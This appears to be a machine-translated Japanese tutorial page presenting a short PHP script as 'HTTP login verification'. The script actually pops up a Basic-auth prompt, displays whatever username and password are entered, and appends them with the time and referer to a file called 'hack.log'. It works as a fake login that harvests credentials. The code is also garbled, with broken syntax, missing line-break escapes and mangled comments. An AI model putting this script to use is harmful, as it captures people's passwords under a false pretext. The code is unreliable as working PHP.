ホームページ  >  記事  >  バックエンド開発  >  PHP は http ログイン検証を実装します

PHP は http ログイン検証を実装します

WBOY
WBOYオリジナル
2016-07-25 08:45:34919ブラウズ
php、http
  1. /*
  2. http 認証
  3. ソースページを決定
  4. ログを書く
  5. */
  6. ////////////エラー報告を無効にする///////// / ////
  7. error_reporting(0);
  8. //////////http 認証/////////////
  9. if(!isset($_SERVER['PHP_AUTH_USER' ]) )
  10. {
  11. header('WWW-Authenticate: Basic realm="login:"');
  12. echo 'ログインに失敗しました!' }
  13. else;
  14. {
  15. echo $_SERVER['PHP_AUTH_USER'].'
    ';
  16. echo $_SERVER['PHP_AUTH_PW'].'
    '
  17. }
  18. ///////////ジャッジメントロードページ /////////////
  19. echo $_SERVER["HTTP_REFERER"]
  20. ///////////レコードを書きます///////// /// ///////////
  21. $file='hack.log';
  22. $con="ユーザー名:".$_SERVER['PHP_AUTH_USER']."rnパスワード:".$_SERVER[' PHP_AUTH_PW'] ."rntime:".date("H:i:s")."rn".$_SERVER["HTTP_REFERER"]."rn---------------- --- ----------------------------rn";
  23. if(file_put_contents($file,$con,FILE_APPEND))echo date ("H :i:s")。"
    成功!
  24. ////////////////// //// ///////
  25. ?>
  26. コードをコピー

声明:
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。